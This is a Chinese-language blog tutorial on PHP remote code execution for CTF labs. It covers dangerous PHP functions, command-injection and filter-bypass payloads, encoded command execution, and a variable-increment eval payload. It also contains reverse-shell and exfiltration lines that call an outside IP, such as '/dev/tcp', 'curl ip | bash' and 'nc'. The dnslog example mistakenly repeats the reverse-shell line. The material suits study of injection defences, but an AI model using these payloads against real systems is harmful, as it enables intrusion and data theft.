RCE漏洞基础以及绕过

1,637次阅读
5 条评论

共计 5490 个字符,预计需要花费 14 分钟才能阅读完成。

what is RCE?

  • 目标:攻击者通过构造恶意输入或请求,绕过系统安全机制,在目标服务器或应用程序中注入并执行代码。
  • 本质:系统未对用户输入进行充分验证或过滤,导致攻击者能将恶意代码传递到执行环境中。

常见可以被利用的 php 函数

system()    # 语法 : system(string $command, int &$result_code = null)

eval()        #语法:eval(string $code) 把字符串作为 PHP 代码执行

passthru() #语法:passthru(string $command, int &$result_code = null)

exec()         #语法:exec(string $command, array &$output = null, int &$result_code = null)

shell_exec() #语法:shell_exec(string $command), 通过 shell 执行命令并将完整的输出以字符串的方式返回

popen()         #popen(string $command, string $mode), 打开指向进程的管道,进程由派生给定的 command 命令执行产生。proc_open()     #比 popen 更加灵活

pcntl_exec()    #bool pcntl_exec(string $path, array $args = null, array $env = null)

warnings:system 不需要提供 $output 函数,他是直接把结果返回出来,同样 $return_var 是执行的状态码

而 exec 函数需要提供 $output 函数才能,且返回的数据是 array 类型

shell_exec 则与 exec 类似

RCE 漏洞基础以及绕过

常见存在 RCE 漏洞的场景

常见触发场景

  • 用户输入未过滤:例如通过 HTTP 参数、表单、文件上传等传递恶意代码。
  • 反序列化漏洞:应用程序在反序列化数据时未验证数据合法性,导致恶意代码执行。
  • 命令拼接漏洞:代码中直接拼接用户输入到系统命令(如 system("ping" + user_input))。
  • 第三方组件漏洞:依赖的库或框架存在已知漏洞(如 Log4j 的 Log4Shell 漏洞,hoverfly 的远程代码执行CVE-2025-24813 RCE 复现 -CSDN 博客)。
  • 模板注入(Template Injection):用户输入被嵌入动态模板引擎,导致模板解析时执行任意代码。

(本次不做讲解)

  • 文件包含漏洞(File Inclusion)

示例:(pikachu 靶场)

// 通过用户输入拼接系统命令
$ip = $_GET['ip'];
system("ping" . $ip);    // 输入 127.0.0.1&&whoami

这里输入 payload:

127.0.0.1&&whoami

出现了以下回显

RCE 漏洞基础以及绕过

此类问题进行命令拼接的方式基本相同,我们可以多试几种命令拼接的方式,下面列出一些常见的拼接方式:

1. 使用分号 (;) 分隔命令

  • 分号用于分隔多个命令,这些命令会按顺序依次执行,无论前一个命令是否成功。
command1; command2; command3

2. 使用逻辑与 (&&) 和逻辑或 (||)

  • 逻辑与 (&&):只有当左边的命令成功执行(返回状态码为 0)时,才会执行右边的命令。
  command1 && command2

示例

  mkdir testdir && cd testdir
  • 如果 mkdir testdir 成功执行,才会执行 cd testdir
  • 逻辑或 (||):只有当左边的命令执行失败(返回状态码非 0)时,才会执行右边的命令。
  command1 || command2

示例

  ping -c 1 example.com || echo "Ping failed"
  • 如果 ping 命令失败,才会输出“Ping failed”。反引号(`)
  command1 `command2`

示例

  echo "Current directory is `pwd`"

### 7. 使用命令替换

命令替换会将命令的输出替换到当前命令中。

$(...)command1 $(command2) 示例echo "Current directory is $(pwd)"

防护

  1. 禁用高危函数。
  2. 严格过滤特殊字符:黑白名单。
  3. 开启safe_mode

绕过防护手段

过滤空格

  • 大括号代替:{cat,/flag}等效于cat /flag
  • $IFS${IFS}$IFS$9
拓展:$IFS 在 linux 下的作用

$IFS 是 Linux Shell 中的一个特殊环境变量,称为内部字段分隔符(Internal Field Separator)。它用于定义 Shell 在解析字符串时用作分隔符的字符集。

$IFS 的默认值是空格、制表符(Tab)和换行符(Newline)。这意味着当 Shell 遇到这些字符时,会将字符串分割成多个字段。
作用

$IFS 在以下场景中非常重要:

命令行参数解析:当 Shell 执行命令或脚本时,会根据 $IFS 的值将输入的字符串分割成多个参数。

文件内容处理:在读取文件内容时,$IFS 决定了如何将文件中的数据分割成字段。

循环遍历:在 for 循环中,$IFS 决定了如何将变量值分割成多个元素。

  • 重定向<cat<flag
  • URL 编码:%09(tab 的 url 编码)、%20

过滤关键命令或者关键词

1. 过滤 flag

  • 通配符绕过:
  • ?:代表单个字符。
  • *:模糊匹配,代表任意字符串。如:cat fla* 或者 cat fla?
  • 或者用反斜线绕过

如:cat fla\g

  • 单引号或者双引号绕过 如 cat f”lag 或者 cat f”l”a”g

2. 过滤 cat

  • 用类似命令代替
tac:反向查看。more:逐页显示文档。less:逐页显示文档。tail:查看末尾几行。nl:带行号显示。od:二进制读取。xxd:二进制读取。sort:排序文件。uniq:报错相关。file -f:报错相关。#passthru("file -f /flag");

grep str file:在 file 中读取 str

其他绕过方式

  • base64编码:举例如下:
`echo Y2F0IC9mbGFn | base64 -d | bash` #最终执行 `cat /flag`。`$(echo Y2F0IC9mbGFn | base64 -d)` # 效果相同。

上面也可以用其他编码方式,这次举例只用了 base64

如 hex 编码:

echo "636174202F6574632F706173737764" | xxd -r -p|bash      #利用管道符将前面输出作为了后面的输入

以及反斜线和单引号,以及双引号

如 ca\t flag 以及 ca”t f”la”g 均可以

  • 利用未赋值变量绕过
$* 和 $@,$x(x 代表 1-9),${x}(x>=10) 
#比如 ca${21}t a.txt 表示 cat a.txt 在没有传入参数的情况下, 这些特殊字符默认为空, 如下:
wh$1oami
who$@ami
whoa$*mi
  • 拼接绕过

之前我们讲过,eval 函数会将字符串当作 php 命令执行,我们可以利用拼接的方式构造出我们想要的字符串

如:

eval('(sy.(st).em)(whoami);');

长度过滤绕过

  • 对命令长度有限制时,通过 > 将命令一点点写入文件(使用 \ 连接换行命令),再用 ls -t按时间排列文件配合 > 写入同一个文件,最后使用 .sh 运行文件内容组成的命令。

如:

echo ‘cat\’>1.sh

echo ‘ /flag’>1.sh

sh 1.sh

  • 限制长度更小时,将 ls -t>a 命令也构造到文件中,可以一个个写入文件中,避免使用过长的命令,被运行的文件名使用_

如:

>ag
>fl\\
>'t \\'
>ca\\
ls -t >1.sh
sh 1.sh
  • 限制长度很小时,需要根据字母表顺序构造命令参数等内容。
  • 常用命令(举例,要开启 ip 的监听)
  • curl ip | bash:在 ipindex文件中写入 反弹 shell相关内容,如nc ip port -e /bin/bash
  • cat/flag | nc ip port 过滤目录分割符 拼接多条指令,如:
  127.0.0.1;cd flag;cat flag.txt

目前实战中更多是针对 php 的代码执行漏洞,大致分为人为制造漏洞,或者利用已知 php 架构的 cms 的漏洞

1. 人为制造:多为传入参数,绕过指定函数的判断后执行命令

如:example1

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){eval($ctfshow);
        }else{echo("Are you hacking me AGAIN?");
        }
    }else{phpinfo();
    }
}
?>

(这道题过滤了数字和字母,需要用到变量自增)

分析正则表达式可知过滤了以下的字符:

  • [a-zA-Z0-9]:匹配所有英文字母(大小写)和数字。
  • @#%^&\*:{}\-<\?>\"|:匹配这些特殊符号,包括:
  • @#%^&*:{}-<>?"|
  • ~\\:匹配波浪号 ~ 和反斜杠\

最后经过变量自增以及拼接后最后的 payload 如图所示:

$_=''.[];                #PHP 在尝试将数组与字符串进行拼接时,会将数组强制转换为字符串"Array"。所以 $_=Array
$_=$_['_'];                #尝试访问字符串 "Array" 键为 _ 的值, 当从字符串中访问不存在的键时,PHP 返回字符串的第一个字符。$_++;                    #自增
$_++;
$_++;                    #$_=D
$__=++$_;                #$_=E;$__=E
$_++;                    #$__=F
$___=++$_;                
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$___.$__.$_;      #经一系列的自增以及拼接后 $_最后为_GET
$$_[_]($$_[__]);         #最后得到 $_GET[_]($GET[__]);
#结合 get 传参 ----get:?_=system&__=cat /f*;

example2 CTFHUB 综合过滤

RCE 漏洞基础以及绕过

这道题过滤了 /,\,cat,flag.,;,||,&& 等

这里我们可以用 %0a(回车的 url 编码)进行命令拼接,通配符 * 代替 flag,more 代替 cat,${IFS}或者 %09 代替空格

最终的 payload

127.0.0.1%0acd%09flag_is_here%0amore%09flag.txt

2. 已知 cms 漏洞:如 thinkphp 漏洞Think PHP 漏洞总结(全系列)– lingzhi_sec – 博客园

​ 以及 dedecms(织梦 cms)织梦 cms 前端 RCE织梦 cms 存在 ssti 导致 RCE 漏洞

例题:XCTF thinkphpV5,RCE 漏洞复现 攻防世界

example3

PHP 伪协议文件包含实现 RCE

常见伪协议(这里不展开细讲)

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入 / 输出流(I/O streams)5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

这里我们使用 php 伪协议包含进 shell.txt, 从而实现 RCE

无回显 RCE #(no_echo.php)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>give me a girl</title>
</head>
<body>
<center><h1> 珍爱网 </h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");
} else {$girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {
        //duangShell~~~~
        exec($girl);
    }
}

思路 1. 反弹 shell

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 2.dnslog 外带数据法

/index.php?ip=127.0.0.1;sh -i >& /dev/tcp/114.132.166.145/6666 0>&1

​ 3. 使用 sleep 函数(类似布尔盲注)

example5

php 伪协议加 CVE 组合拳

CVE-2024-2961:将 phpfilter 任意文件读取提升为远程代码执行(RCE)_cve-2024-2961 复现 -CSDN 博客

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-03-17发表,共计5490字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(5 条评论)
验证码
Bail
2025-03-23 08:53:06 回复

什么是“>>”操作符?了解一下

 Android  Chrome  中国重庆重庆市联通
    2025-03-23 17:45:51 回复

    @Bail 上压力了嘛 :!:

     Windows  Edge  中国重庆重庆市联通